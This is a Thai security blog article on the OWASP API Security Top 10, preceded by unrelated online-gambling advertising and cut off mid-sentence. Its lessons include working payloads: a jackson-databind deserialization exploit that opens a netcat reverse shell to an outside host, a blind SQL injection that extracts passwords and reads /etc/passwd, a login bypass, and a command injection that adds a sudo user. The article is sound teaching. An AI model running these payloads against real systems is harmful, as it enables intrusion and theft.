ยินดีต้อนรับนักเดิมพันจากทั่วทุกมุมโลก เข้าสู่ W69 มิติใหม่แห่งการเดิมพันออนไลน์ ด้วยเกมส์พนันออนไลน์มาตรฐานที่เราพร้อมมอบประสบการณ์เล่นใหม่ๆ ให้แก่ทุกท่าน Show
มาตรฐานสากลจากผู้ให้บริการชั้นนำ ฝาก-ถอน ออโต้รวดเร็ว ทันใจ Online 24hrsพร้อมทีมงานมืออาชีพ W69 เดิมพันออนไลน์ทุกชนิด พร้อมเกมส์มาตรฐานทุกรูปแบบยินดีต้อนรับนักเดิมพันจากทั่วทุกมุมโลก เข้าสู่ W69 มิติใหม่แห่งการเดิมพันออนไลน์ ด้วยเกมส์พนันออนไลน์มาตรฐานที่เราพร้อมมอบประสบการณ์เล่นใหม่ๆ ให้แก่ทุกท่าน โดยเราเป็นพันธมิตรชั้นนำ กับเว็บพนันทั้งระดับเอเชีย และระดับโลกมากมาย เช่น Sbobet, Pragmaticplay, Allbet, Playtech และอื่นๆ อีกมากมาย โดยเราได้คัดสรรค่ยเกมส์ชั้นนำที่มีระบบการเล่นที่มีความปลอดภัย และน่าเชื่อถือ พร้อมระบบการเล่นที่เป็นมิตรกับทุกคน สมัครสมาชิก W69 วันนี้เราพร้อมดูแลทุกท่านด้วยบริการจากทีมงานมืออาชีพ ที่ได้รับการเทรนด์งานมาเป็นอย่างดี พร้อมดูแลแบบ VIP ด้วยช่องทางติดต่อหลากหลายช่องทางทั้ง การโทร, ไลน์, อีเมล, ไลฟ์แชท ทำรายการทุกขั้นตอนง่ายด้วยบริการด้านการเงินผ่านระบบออโต้ ทำรายการเพียงไม่กี่วินาทีก็พร้อมเริ่มได้ทันที สมัครสมาชิก
คาสิโนพบกับบริการเกมส์คาสิโนชั้นนำมาตรฐานระดับเอเชีย และยุโรป ทั้ง AG gaming, Pragmatic play, Allbet และอื่นๆ อีกมากมาย ให้บริการคาสิโนออนไลน์ทุกชนิด บาคาร่า รูเล็ต ไฮโล เสือมังกร กำถั่ว สมัครสมาชิก กีฬาแทงฟุตบอล หรือเล่นบอลออนไลน์ พร้อมกีฬาชั้นนำจากทั่วทุกมุมโลก สนุกไปกับเกมส์การเล่นได้ตลอด 24 ชั่วโมง สดทั้งเกมส์ พร้อมกีฬายอดฮิตอย่างอีสปอร์ต(E-sport) ก็เล่นได้ทันที สมัครสมาชิก สล็อต & ยิงปลาเลือกเล่น และสนุกครบรสไปกับเกมสล็อต และเกมยิงปลายอดฮิต มีให้เลือกมากกว่า 20 ค่ายเกมส์ พร้อมส่งมอบความมันส์มากกว่า 200+ เกมส์ พร้อมอัปเดตเกมส์ใหม่ๆ อย่างต่อเนื่อง สมัครสมาชิก ล็อตเตอรี่เอาใจคอหวย และนักเสี่ยงโชคจากตัวเลข ด้วยล็อตเตอรี่ออนไลน์ และเกมส์ออนไลน์จาก QQkeno, Game play, Funky game, Kingmaker เว็บสมัยก่อน เวลาเข้า 1 หน้าเว็บ ก็จะตอบกลับมาเป็นโค้ด HTML ทั้งดุ้น แต่เว็บสมัยใหม่เดี๋ยวนี้คงหนีไม่พ้นการทำเป็น API แยกย่อยให้สามารถ พัฒนา ดูแล ปรับแต่งแก้ไขได้ง่าย และยังสามารถนำไปใช้ร่วมกันกับ แอปพลิเคชันบนโทรศัพท์ หรือการดึงข้อมูลข้ามแอปพลิเคชัน ได้สะดวกขึ้นอีกด้วย ตัวอย่างเช่นหน้าเว็บทวิตเตอร์ ที่เราค้นหาคำว่า blackpink ที่คล้าย ๆ กับว่าเว็บตอบหน้าเว็บ Twitter กลับมาทั้งหน้าแต่พอเราเข้าไปตรวจสอบอย่างละเอียดดูจริง ๆ จะพบว่ามีการยิง API ไปที่ api.twitter.com/2/search/adaptive.json?q=blackpink เพื่อดึงผลการค้นหามาแสดงต่างหาก ตัวอย่างนี้ผู้เขียนใช้โปรแกรม Burp Suite ในการตรวจสอบจะเจอว่ามีการส่งข้อมูลดังรูปข้างล่างนี้ API คืออะไร ?API ย่อมาจาก Application Programming Interface คือส่วนที่ติดต่อระหว่างแอปพลิเคชันนั้นกับ แอปพลิเคชันอื่น หรือกับผู้ใช้งาน ที่บ่งบอกว่าเวลาจะรับ-ส่ง ข้อมูล คุยกันจะต้องทำยังไงส่งอะไรแบบไหน อย่างไร โดยในบทความนี้จะเน้นไปที่เฉพาะ API ในรูปแบบเว็บ (ผ่าน HTTP Protocol) เท่านั้น เมื่อปี 2018 ผู้เขียนเคยเล่าเรื่อง “แนวทางการออกแบบเว็บ API ให้มีความปลอดภัยแบบแมว ๆ” กันไปแล้ว วันนี้จะมาเล่าต่อ โดยการใช้เอกสารตามแนวทางของ OWASP API Security Top 10 – 2019 เอาไว้อ้างอิงเกี่ยวกับความปลอดภัยของ API ซึ่งก็น่าสนใจเช่นกัน ขอเกริ่นคร่าว ๆ สำหรับผู้อ่านที่ไม่สันทัดด้านนี้ OWASP คืออะไร ?OWASP เป็นองค์กรไม่แสวงหาผลกำไรที่ให้ความรู้เพื่อเน้นให้ระบบคอมพิวเตอร์ มีความปลอดภัยมากยิ่งขึ้น ในหลายแง่มุมไม่ว่าจะเป็นการทดสอบแฮก การเขียนโค้ดให้ปลอดภัย และการกำหนดนโยบายหรือมาตรฐานด้านความปลอดภัยให้แอปพลิเคชัน OWASP Top 10 คืออะไร ?โครงการหนึ่งของ OWASP ที่จัดอันดับ 10 ความเสี่ยงทางด้านความปลอดภัย แต่เดิมเคยมี Top 10 ของความเสี่ยงเว็บอย่างเดียว แล้วก็มีโครงการอื่น เพิ่มมาเช่น Top 10 ความเสี่ยงของแอปพลิเคชันบนโทรศัพท์, IoT, Cloud และอื่น ๆ ตัวอย่างความเสี่ยงของ API เช่นถ้าเราออกแบบ API ไว้ทำอะไรสักอย่าง อย่างล็อกอินด้วยเฟซบุ๊กของเว็บ pantip.com แต่ยอมให้ตัว API สามารถมาใช้ในการสืบค้นข้อมูลผู้ใช้บนเว็บนั้นด้วยอีเมลได้ ว่าอีเมลนั้นตรงกับผู้ใช้งานในระบบคนไหน เฟซบุ๊กอะไร (ปัจจุบันถูกปิดการใช้งานแล้ว – ภาพเก่าปี 2016) หรือช่องโหว่ใน API ของ CMS หน้าเว็บเซิร์ฟเวอร์เกม Maple Story เถื่อน (แก้ไขแล้ว) ที่ยอมให้ผู้เล่นเกมสามารถ ใส่ คำสั่ง SQL เข้าไป เสกไอเท็มในเกมกันสนุกสนานได้ ซึ่งเรื่องน่าปวดหัวมีอยู่ว่า จริง ๆ ทั้ง OWASP Top 10 เว็บ หรือ OWASP Top 10 แอปฯบนโทรศัพท์ ต่างก็มีส่วนที่ทับซ้อนกับ API อยู่แล้ว ทำไมถึงจะต้องมี OWASP Top 10 API แยกออกมาด้วย? ผู้เขียนพยายามจะตอบคำถามนี้ เดา ๆ คือ
พยายามจะเข้าข้างให้สุด ๆ แล้วว่าทำไมเราต้องมี Top 10 ของ API ต้องขอออกตัวก่อนว่า ผู้เขียนเชื่อว่าจริง ๆ แล้วทุกความเสี่ยงใน Top 10 ของ API เราสามารถใช้ Top 10 ของเว็บ แทนกันได้ ไม่ควรมีแยกกัน! (แถมเราก็ไม่มั่นใจได้ว่าในอนาคต API นั้นจะมีเว็บหรือแอปฯบนโทรศัพท์ นำไปใช้หรือเปล่า ถ้าเราใช้แทน Top 10 เว็บหรือแอปฯบนโทรศัพท์ ก็อาจจะมีผลเสียแทนผลดีได้) แต่ไหน ๆ ก็มี Top 10 ของ API แล้ว เรามาลองดูกันดีกว่า ต่อมาจะมาเล่าให้ฟังว่า … ถ้าเราจะพัฒนาระบบขึ้นมา ให้มี API โดยอาจจะใช้กับเว็บ กับแอปฯโทรศัพท์ หรืออื่น ๆ จะมี 10 ความเสี่ยงอะไรที่ควรสนใจ เพื่อไม่ให้โดนแฮกกันบ้าง จาก 10 อันดับจาก OWASP ได้แก่
แค่อ่านก็งงแล้ว โดยผู้เขียนจะขอแยกเป็น 2 หมวดหลัก ๆ เทียบกับ OWASP Top 10 เว็บได้แก่ หมวด #1 หมวดชื่อเหมือนเป๊ะ!คืออันที่ลองเทียบ OWASP Top 10 API กับ OWASP Top 10 เว็บจะเห็นว่ามีชื่อเหมือนกันเป๊ะ ๆ เลยคือ Top 10 API: API7:2019 – Security Misconfiguration ซึ่งก็จะเหมือนกับกับ Top 10 Web: A1:2017 – Injection หมวด #2 หมวดย้อมแมวคือที่ OWASP Top 10 API ชื่อไม่เหมือนกันเป๊ะ ๆ แต่รวมอยู่ด้วยกันใน OWASP Top 10 เว็บแล้วอย่าง Top 10 API: ซึ่งรวมอยู่ใน Top 10 เว็บ: รวมถึง Top 10 API: ที่ถูกรวมอยู่ใน Top 10 เว็บ: จะเห็นว่าจริง ๆ Top 10 ของ API มันก็คือเอา Top 10 เว็บมาขยายความย้อมแมว เปลี่ยนชื่อและตัด ๆ บางข้อออก แค่นั้นเอง 55 ด้วยระบบแบบอาสาสมัคร ของ OWASP จึงมีอะไรแบบนี้โผล่มาเสมอ แต่ก็มาดูแต่ละหมวดกัน หมวด #1 หมวดชื่อเหมือนเป๊ะ!อันดับ 7 Security Misconfigurationคือความเสี่ยงของ API ที่เกิดจากการตั้งค่าอย่างไม่ปลอดภัย หรือไม่ได้เปิดฟีเจอร์ด้านความปลอดภัย เช่น 7.1 การตั้งค่านโยบาย Cross-Origin Resource Sharing (CORS) ของ API อย่างไม่ปลอดภัยเวลาเรามีเว็บ 2 เว็บเช่น sdhbank.local และเว็บ hacker.local แล้วมี เหยื่อกำลังล็อกอินเว็บ sdhbank.local อยู่ (อาจจะปิด Tab ไปแล้วก็ได้ แต่ Session Cookie ในเว็บเบราว์เซอร์ยังใช้งานได้ไม่ได้กด ล็อกเอาต์) จะเกิดอะไรขึ้นถ้าเหยื่อคนเดิมนั้นเปิดเว็บ hacker.local แล้วเว็บ hacker.local มีคำสั่ง JavaScript ยิง AJAX ไปดึงข้อมูลจาก API ที่ sdhbank.local/api/getCreditCard จากนั้นส่งข้อมูลที่ดึงมาไปเก็บไว้ในเซิร์ฟเวอร์ hacker.local (ด้วยการยิง AJAX ครั้งที่ 2) คำตอบก็คือ เว็บ hacker.local ก็จะขโมย ข้อมูลของผู้ใช้งานผ่าน API ของเว็บ sdhbank.local ได้นั่นเอง แต่เราโชคดีที่ว่า ในปัจจุบัน เว็บเบราว์เซอร์ มีกระบวนการมาป้องกันเหตุการณ์นี้ โดยการกำหนดว่า hacker.local เรียกว่ามาจาก 1 ระบบ ส่วน sdhbank.local จะถือว่าเป็นคนละระบบกัน โดยจะใช้คำว่า Origin แทนคำว่าระบบ (ในเชิงเทคนิคแล้ว Origin แบ่งโดยค่า URL ที่เป็น Protocol เดียวกัน Port เดียวกัน subdomain เดียวกัน จะถือว่าอยู่ Origin เดียวกัน) จากนั้นคนสร้าง เว็บเบราว์เซอร์ ก็ได้กำหนดว่า จะต้องปฏิเสธห้ามไม่ให้มีการดึงข้อมูลข้าม Origin ผ่าน AJAX เป็นค่าเริ่มต้น (คือปลอดภัยเป็นค่าเริ่มต้น) ตัวอย่างเช่น เว็บที่มาใช้งาน API ต้นทาง (twitter.com) ที่ไปขอเรียก API (api.twitter.com) จะต้องส่งค่า Origin: https://twitter.com ไปใน HTTP Request และถ้า API ปลายทาง (api.twitter.com) ยอมให้ AJAX ดึงข้อมูลได้ ก็จะต้องตอบ access-control-allow-origin: https://twitter.com กลับมา ยกเว้นแต่ผู้พัฒนาเว็บ ถ้าคุณเขียนเว็บให้มีการตอบ HTTP Response ใน API เป็น Access-Control-Allow-Origin: ชื่อเว็บอะไรก็ได้ที่ยิง AJAX มา เช่น hacker.local ก็จะทำให้เว็บแฮกเกอร์ (ในกรณีนี้คือ hacker.local) สามารถขโมยข้อมูลของเว็บ sdhbank.local ผ่านการยิง AJAX บนหน้าเว็บได้ ซึ่งช่องโหว่ของการตั้งค่าไม่ปลอดภัยนี้จะเรียกว่า Overly Permissive Cross-Origin Resource Sharing 7.2 เมื่อเกิดข้อผิดพลาดใน API ไม่ได้ตั้งค่าให้แสดงรายละเอียดข้อผิดพลาดอย่างปลอดภัยปกติเวลาเขียนโค้ดโปรแกรม แล้วเกิดข้อผิดพลาด (error) สิ่งที่โปรแกรมเมอร์ทำได้คือการจัดการข้อผิดพลาดนั้นด้วยเทคนิคอย่าง try-catch (ขึ้นกับภาษาโปรแกรมที่ใช้) ใช่ไหม? สิ่งที่ควรรู้คือ ตามหลักการเขียนโค้ดอย่างปลอดภัย เมื่อเกิดข้อผิดพลาดขึ้นแล้ว API ไม่ควรแสดงรายละเอียดเชิงเทคนิคมากเกินไป (verbose error message) ตัวอย่างหน้าแสดงข้อผิดพลาดที่แสดงข้อมูลเยอะเกินไปของ Laravel (PHP Framework) ข้อมูลเชิงเทคนิคที่ไม่ควรแสดงผลเวลาเกิดข้อผิดพลาด (Error) ได้แก่
7.3 การตั้งค่าของ API ที่ใช้ผ่านระบบจากผู้ให้บริการภายนอกอย่างไม่ปลอดภัยปัจจุบันนอกจาก API ที่เขียนเองแล้ว ก็มีโอกาสจะใช้ API จากผู้ให้บริการภายนอกเช่น
7.4 มีการตั้งค่า API ให้มีการแสดงรายละเอียดของ API ออกมาเช่นการเปิดเอกสาร WSDL หรือ Swagger ให้เข้าถึงได้โดยใครก็ได้ ก็นับว่าเป็นการตั้งค่าที่ไม่ปลอดภัยของ API ทำให้ API ที่ผู้ใช้งานสิทธิ์ต่ำไม่ควรรู้ หรือลืมตรวจสอบสิทธิ์ไว้ถูกโจมตีได้ ตัวอย่างไฟล์ Swagger ที่แสดงรายละเอียด API โดยมักจะถูกสร้างมาอัตโนมัติด้วยส่วนเสริมของโค้ดในระหว่างการพัฒนาแอปพลิเคชัน แต่อาจจะลืมนำออกเมื่อ เปิดให้ผู้ใช้งานทั่วไปเข้าใช้ 7.5 การใช้ซอฟต์แวร์รุ่นเก่า ที่มีช่องโหว่ที่เปิดเผยต่อสาธารณะไปแล้วกรณีศึกษาระบบมีการพัฒนาด้วยภาษา Java และใช้ส่วนประกอบชื่อ FastXML jackson-databind แต่ไม่ได้คอยตรวจสอบช่องโหว่ที่ออกใหม่แล้วปรับปรุงเป็นรุ่นล่าสุด ก็อาจโดนโจมตีด้วยช่องโหว่อย่าง CVE-2017-17485 ทำให้แฮกเกอร์สามารถรันโค้ดบนเซิร์ฟเวอร์เหยื่อได้ด้วยการ 1. ใส่คำสั่ง JSON อันตรายเข้าไปเพื่อให้ไปดาวน์โหลดโค้ด XML { "param": [ "org.springframework.context.support.FileSystemXmlApplicationContext", "http://demoo.longcatsec.net:8888/exploit.xml" ] } 2. โค้ด XML ที่ถูกอ่านมาจะ ถูก deserialize กลายเป็นโค้ด Java <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd "> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <array> <value>nc</value> <value>demoo.longcatsec.net</value> <value>1337</value> <value>-e</value> <value>/bin/bash</value> </array> </constructor-arg> <property name="any" value="#{ pb.start() }"/> </bean> </beans> 3. โค้ด Java ถูกสั่งให้ทำการสั่งการ OS Command ด้วย java.lang.ProcessBuilder ในกรณีนี้สั่งให้รันคำสั่ง nc demoo.longcatsec.net 1337 -e /bin/bash คือให้เซิร์ฟเวอร์เหยื่อที่ถูกแฮก (longcat.local:8089) เชื่อมต่อกลับไปยังเซิร์ฟเวอร์ของแฮกเกอร์ (demoo.longcatsec.net) นั้นเอง รวมกันแล้วในสามขั้นตอน แฮกเกอร์ ก็จะยึดเซิร์ฟเวอร์เหยื่อได้ด้วยการโจมตีซอฟต์แวร์รุ่นเก่า ปล. เอา docker มาลองแฮกเล่นได้ที่ https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-7525 อันดับ 8 Injectionช่องโหว่ยอดนิยมอย่าง Injection ในส่วนของ API ตกลงมาอยู่อันดับ 8 เลยทีเดียว (เทียบกับอันดับ 1 ใน OWASP Top 10 เว็บ) เกิดขึ้นได้ในกรณีที่ API รับค่าจากผู้ใช้งานมาประมวลผลอย่างงไม่ปลอดภัย โดยเฉพาะอย่ายิ่ง ไม่ได้ตรวจสอบค่าที่รับเข้ามาก่อน ตัวอย่างเช่นการรับค่าจากผู้ใช้งานเข้ามาใส่เป็นส่วนหนึ่งของคำสั่ง SQL โดยตรง (เกิดเป็นช่องโหว่ SQL Injection) หรือนำมาใส่ในส่วนหนึ่งของคำสั่ง OS Command (เกิดเป็นช่องโหว่ OS Command Injection) และอื่น ๆ ตามแต่จะจินตนาการออก ผลคือเพื่อนำมาใส่อย่างไม่ได้ตรวจสอบแล้ว แฮกเกอร์ ก็จะสามารถควบคุมคำสั่ง ที่ถูกประมวลผลเพื่อทำสิ่งที่ตนเองไม่มีสิทธิ์จะทำได้ เช่น อ่านหรือเขียนข้อมูลที่เป็นความลับ ของผู้ใช้งานคนอื่น เป็นต้น 8.1 SQL Injectionตัวอย่างกรณีศึกษาคือช่องโหว่ SQL Injection บนเว็บเกม Tree of Savior (treeofsavior.com) ที่ทางผู้เขียนเคยพบใน API การค้นหารายชื่อคำถามที่พบบ่อยพบเว็บ และแจ้งให้ทีมพัฒนาเกมแก้ไขทางอีเมลเมื่อปี 2016 โดยช่องโหว่นี้ตัวเว็บแอปพลิเคชันดันเชื่อมต่อฐานข้อมูลด้วยสิทธิ์ root ของ MySQL ทำให้สามารถอ่านไฟล์บนเครื่องเซิร์ฟเวอร์ได้ด้วยการเรียกฟังก์ชัน load_file() นั่นเอง โดยหลักการคร่าว ๆ คือเว็บมีการรับค่าจากผู้ใช้งานผ่าน HTTP Parameter ชื่อ s จากนั้นน่าจะนำมาทำการค้นหาข้อมูลด้วยคำสั่ง SQL หน้าตาประมาณ… SELECT * from tos.searchlist where topic like '%[ค่าของ s]%' เมื่อแฮกเกอร์สามารถแก้ไข [ค่าของ s] ให้มีตัวอักษร ‘ เข้าไปได้ก็จะสามารถใส่คำสั่ง SQL อื่น ๆ เพิ่มเข้าไปได้ด้วย เช่นการใส่คำสั่ง %' or if(ord(mid((select password from tos.users limit 1),0,1))==65,sleep(5),sleep(10))-- - เมื่อนำไปแทนที่จะได้เป็น SELECT * from tos.searchlist where topic like '%%' or if(ord(mid((select password from tos.users limit 1),0,1))==65,sleep(5),sleep(10))-- - %' ผลคือจะมีการเรียกใช้งาน subquery ว่า select password from tos.users limit 1 แล้วจะตัดเฉพาะตัวแรกของรหัสผ่าน mid(…, 0,1) จากนั้นแปลงเป็นตัวเลข ASCII ด้วย ord() แล้วเทียบ (==) ว่าตัวอักษรตัวแรกของ รหัสผ่านตรงกับตัว A (เลข ASCII ค่า 65) หรือเปล่า ถ้าดึงออกมาตรงเป็นตัว A ตัวเว็บก็จะ ชะงัก ไป 5 วินาที (sleep(5)) ถ้าไม่ตรงจะ ชะงัก ไป 10 วินาที (sleep(10)) ถ้าไม่ตรงก็เปลี่ยนเลข 65 เป็นตัว B (66), C (77), .. ต่อไปเรื่อย ๆ เมื่อเจอก็เลื่อนตัวถัดไปหาค่าตัวอักษรตัวต่อไปเรื่อย ๆ (mid(…,1,1)) จนกว่าจะครบทุกตัวใน password ที่ดึงมาด้วย subquery ก็จะทำให้การทำ SQL Injection ดึงรหัสผ่านออกมาได้ สำหรับการอ่านไฟล์เราก็แค่แทนที่ subquery นั้นด้วยการ select load_file(‘/etc/passwd’) นั้นเอง นอกจากการดึงข้อมูลได้แล้ว SQL Injection ยังทำให้เกิดผลอื่น ๆ ได้เช่นการทำ Authentication Bypass ด้วยการใส่คำสั่ง ‘ or ‘1’=’1 ซึ่งทำให้คำสั่ง SQL หลังบ้านไม่ได้ทำการตรวจสอบรหัสผ่านที่ถูกต้องและปล่อยให้แฮกเกอร์เข้าสู่ระบบได้เฉยเลย (เพราะ 1=1 เป็นจริงเสมอและเชื่อมด้วย or คือเป็นจริงอย่างน้อย 1 เงื่อนไข ทั้งหมดจะเป็นจริง) เชื่อหรือไม่ว่าจนถึงทุกวันนี้ก็ยังมีคนมาแจ้งช่องโหว่ เว็บหน่วยงานราชการ ล็อกอินเข้าไปได้ด้วยการใส่คำสั่ง ‘ or ‘1’=’1 อยู่เลย 8.2 OS Command Injectionสำหรับการเขียนโค้ดบางครั้งเราก็อาจจะมีความจำเป็นจะต้องใช้คำสั่งของระบบปฏิบัติการ (OS command) ถ้าหากเรารับข้อมูลจากผู้ใช้งาน API มาแล้วนำมาเป็นส่วนหนึ่งของ OS command อย่างไม่ปลอดภัยแล้วก็มีความเสี่ยงจะถูกรันโค้ดอันตรายบนเซิร์ฟเวอร์ได้ ตัวอย่างเช่นโค้ด PHP ง่าย ๆ ว่าจะรับ ค่ามาเป็นออฟชันของโปรแกรม do_something ว่า $arg1 = $_POST['arg1']; shell_exec("/usr/bin/do_something $arg1"); ถ้าหากแฮกเกอร์ส่งค่า arg1 มาเป็นคำสั่งว่า ; useradd -G sudo -m longcat -s /bin/bash /usr/bin/do_something ; useradd -G sudo -m longcat -s /bin/bash ทำให้โปรแกรมอื่นนอกจาก do_something ถูกสั่งให้รันไปด้วย ในกรณีนี้คือการใส่คำสั่ง useradd ให้เพิ่มผู้ใช้งานในระบบเป็นของแฮกเกอร์ (longcat) เข้าไปด้วย ในส่วนของการทดสอบขั้นสูงก็จะมีท่ายากใหม่ต่าง ๆ เช่น Blind OS Command Injection, NoSQL Injection หรือการทำ Injection ที่มีเงื่อนไขซับซ้อนอย่างการถูกจำกัดความยาวค่าที่สามารถใส่ลงไปได้ เป็นต้น สำหรับการป้องกันช่องโหว่ประเภท Injection จำเป็นจะต้องใช้ Prepared Statement สำหรับการเชื่อมต่อฐานข้อมูลเพื่อหลีกเลี่ยงความเสี่ยง SQL Injection และมีการตรวจสอบค่าที่รับมาจากผู้ใช้งานอย่างรัดกุม ว่าเป็นค่าที่ถูกต้องเหมาะสมจริง ๆ เท่านั้น อันดับ 10 Insufficient Logging & Monitoringบ้านเราล็อคประตูแล้ว ก็ยังมียามหน้าหมู่บ้านคอยตรวจคนเข้าออกหมู่บ้าน การป้องกันระบบคอมพิวเตอร์ที่ดีก็ควรจะมีหลาย ๆ ชั้นเช่นกัน และมีการสอดส่องดูแลที่ดี ในอันดับ 10 ของ OWASP Top 10 API กล่าวถึงการที่แอปพลิเคชันควรจะมีการ เก็บบันทึกประวัติผู้เข้าสู่ระบบ และประวัติการกระทำที่สำคัญในระบบ อย่างการ ซื้อ-ขายสินค้า และ ฝาก-ถอน-โอนเงิน เป็นต้น อีกทั้งจากผลการสำรวจพบว่าโดยทั่วไปแล้วองค์กรจะรู้ว่าระบบตัวเอง ถูกแฮก ใช้เวลามากกว่า 200 วัน แล้วแถมการค้นพบว่าถูกแฮกมักจะถูกค้นพบโดยบุคคลภายนอกองค์กรเสียมากกว่าจากคนภายในตรวจสอบเจอ ดังนั้นการมีระบบที่คอย แจ้งเตือนเหตุการณ์ผิดปกติในระบบ เช่น I/O หรือ CPU วิ่งสูงเกินค่าเฉลี่ยปกติ เพราะ มีคนกำลัง dump ฐานข้อมูลออกมาจากเครื่อง รวมถึงมีการส่งอีเมล หรือดึงข้อมูลจาก API มากกว่าปกติ จากตัวอย่างรูปด้านล่างเป็นการใช้ Grafana ทำการตรวจสอบการใช้งานของผู้ใช้ในระบบ 10.1 รหัสผ่านหรือ Token สำหรับการเรียกใช้ API อาจจะหลุดสู่สาธารณะกรณีศึกษาคือมีแอปพลิเคชันโทรศัพท์มือถือ ของไทยในช่วง COVID-19 มีการเก็บตำแหน่งผู้ใช้งาน แล้วมี API หลังบ้าน (ไม่ใช่สำหรับผู้ใช้งานแอปพลิเคชันจากโทรศัพท์มือถือ) ที่ทำการ ดึงตำแหน่งผู้ใช้งานมาดูได้ ซึ่งการดึงจาก API หลังบ้านจะต้องใช้ Token ปรากฏว่าผู้เขียนเจอช่องโหว่ พบว่าเกิดข้อผิดพลาดระหว่างการพัฒนาทำให้ ผู้พัฒนาลืมฝังตัว Token สำหรับ API หลังบ้านเข้ามาในโค้ด แอปพลิเคชันโทรศัพท์มือถือด้วย ทำให้แฮกเกอร์สามารถที่จะแกะไฟล์แอปฯ เอา Token ระบบ API หลังบ้าน นี้ออกไปไปใช้ยิง เพื่ออ่านตำแหน่งผู้ใช้งานแอปพลิเคชันคนอื่น ได้ทันที (ปัจจุบันได้ทำการแก้ไขแล้ว)ซึ่งถ้าหากระบบไม่ได้มีการ Log หรือ Monitor คนที่เข้ามาใช้งาน API ว่ามาจากที่ใด เหตุการณ์แบบนี้ก็อาจจะไม่ถูกตรวจเจอ หรืออาจจะไม่ถูกแก้ไขได้อย่างทันท่วงที 10.2 ถูกโจมตีด้วยเทคนิค credential stuffing โดยไม่รู้ตัวในปัจจุบันแฮกเกอร์ในเว็บไซต์บนเครือข่าย Tor (The Onion Router) จะมีการแลกเปลี่ยนรหัสผ่านของผู้ใช้งานที่ทำการขโมยมาได้ ไม่ว่าจะมาจากการเจาะระบบ หรือการหลอกให้เหยื่อใส่ข้อมูลผ่านหน้าเว็บไซต์ (phishing) จากนั้น แฮกเกอร์สามารถที่จะนำรหัสผ่าน ที่แฮกออกมาจากระบบหนึ่ง ไปลองเดาสุ่ม เข้าใช้งานบัญชีของอีกระบบหนึ่ง เช่นเหยื่ออาจจะใช้งานเว็บ hellolongcat.local ด้วยอีเมลและรหัสผ่าน ซึ่งใช้ซ้ำกับรหัสผ่าน บนเว็บเฟซบุ๊ก ดังนั้นแฮกเกอร์จึงอาจจะแฮกเฟซบุ๊กของเหยื่อได้ จากการแฮกเว็บ hellolongcat.local เป็นต้น API ที่ดี ควรออกแบบมาให้มีการตรวจสอบการถูกโจมตีด้วย credential stuffing เช่นถ้าหากพบความผิดปกติว่ามี แฮกเกอร์ พยายามนำรหัสผ่านจำนวนมากมา ลองเข้าสู่ระบบ จะต้องมีการหยุดยั้งไม่ให้แฮกเกอร์ทำต่อไปได้โดยง่าย เช่น อาจจะขึ้นหน้าจอ CAPTCHA เพื่อป้องกันการลองนำรหัสผ่านจากระบบอื่นมาใส่อย่างอัตโนมัติ (เรียกว่า credential stuffing) จนถึงอาจจะจำเป็นต้อง ระงับการลองเข้าสู่ระบบของแฮกเกอร์ด้วยหมายเลขไอพีกับชื่อบัญชีเหยื่อประกอบกัน เป็นต้น สามารถอ่านเรื่องนี้เพิ่มเติมได้ที่บทความ ตั้ง Password เดียวใช้งานทุกเว็บ เสี่ยงโดนแฮกทุกบัญชี จากทาง NT cyfence หมวด #2 หมวดย้อมแมวอันดับ 1 Broken Object Level Authorizationได้ยินชื่อนี้ครั้งแรก ถึงกับ อึ้งไปหลายวินาที เพราะแต่เดิม เรารู้จักกันแต่ Insecure Object References (IDOR) อันนี้มาชื่อใหม่เป็น Broken Object Level Authorization สรุปง่าย ๆ ถ้าใครรู้จัก IDOR อยู่แล้ว มันคืออันเดียวกัน! สำหรับคนที่ไม่รู้จัก.. Object Level Authorization ในบริบทนี้ มันคือ เวลาที่ API มีการอ้างอิงไปที่ Object อะไรบางอย่าง ด้วยค่า ID หรือ token ก็ได้ (ใน OWASP Top 10 เว็บจะเรียกว่า Object Reference) จะต้องมีการตรวจสอบสิทธิ์ ว่าผู้ใช้งานที่เรียก Object นั้น ๆ มีสิทธิ์ ในการอ่านหรือแก้ไขข้อมูลปลายทางที่ขอหรือเปล่า ถ้าการตรวจสอบนี้ไม่มี หรือไม่ถูกต้อง แฮกเกอร์ก็อาจสามารถอ่านหรือ แก้ไขข้อมูลที่ตนเองไม่ควรจะมีสิทธิ์ได้ ตัวอย่าง ID ที่อ้างอิงไปยัง Object ในการเรียก API เช่น คำว่า longcatshop, 1337, 1234, และ LongCat Shop ดังใน HTTP Request ของ API ต่อไปนี้ POST /shops/longcatshop/update HTTP/1.1 Host: longcat.local:8089 X-User-ID-X: 1337 Content-Type: application/json Content-Length: 151 { "shop_id": 1234, "shop_name": "LongCat Shop" } ช่องโหว่ Broken Object Level Authorization อาจเกิดขึ้นได้ในกรณีนี้เมื่อ
จะเห็นว่าการอ้างอิงไปยัง Object ต่าง ๆ ใน API จะต้องเขียนโค้ดให้ทำการตรวจสอบสิทธิ์ (authorization) ก่อนเสมอ ถ้าหากไม่มีแล้วละก็ จะกลายเป็นช่องโหว่ Broken Object Level Authorization นั้นเอง เพิ่มเติมคือนักพัฒนาแอปพลิเคชันสามารถใช้ค่าสุ่ม UUID รุ่น 4 ทดแทนตัวเลขเรียง เพื่อเพิ่มความยากในการเดาของแฮกเกอร์ (ลดความเสี่ยงที่ต่อให้มีช่องโหว่อยู่ก็โดนแฮกได้ยากขึ้น แต่ไม่ได้แก้ไขช่องโหว่) ตัวอย่างค่า UUID รุ่น 4 ที่สามารถนำไปใช้อ้างอิง Object ใน API แทนการสร้างเลขเรียงได้ f38458df-72ca-4d7c-9889-cfad3fc5ae6a เคล็ดลับอีกอย่างในการเลี่ยงช่องโหว่นี้คือ นักพัฒนาแอปพลิเคชัน ควรทำการเขียน unit test ให้มีการทดสอบเข้าถึงข้อมูลข้าม ผู้ใช้งาน และข้ามสิทธิ์ (user role) ว่าไม่สามารถเข้าถึงหรือแก้ไข ข้อมูลข้ามกันได้ ก็จะช่วยลดภาระในการทดสอบทีละ API ได้เยอะเลย 1.1 การดาวน์โหลดข้อมูลผู้ใช้งานโดยใช้เลขเรียงผู้เขียนเคยพบและแจ้งช่องโหว่เว็บประกันสุขภาพ (ปัจจุบันมีการแก้ไขแล้ว) โดยหลังจากซื้อประกันภัยผ่านแอปพลิเคชันโทรศัพท์เสร็จเรียบร้อย เว็บจะมีการส่ง เอกสารกรมธรรม์ กลับมาทางอีเมล 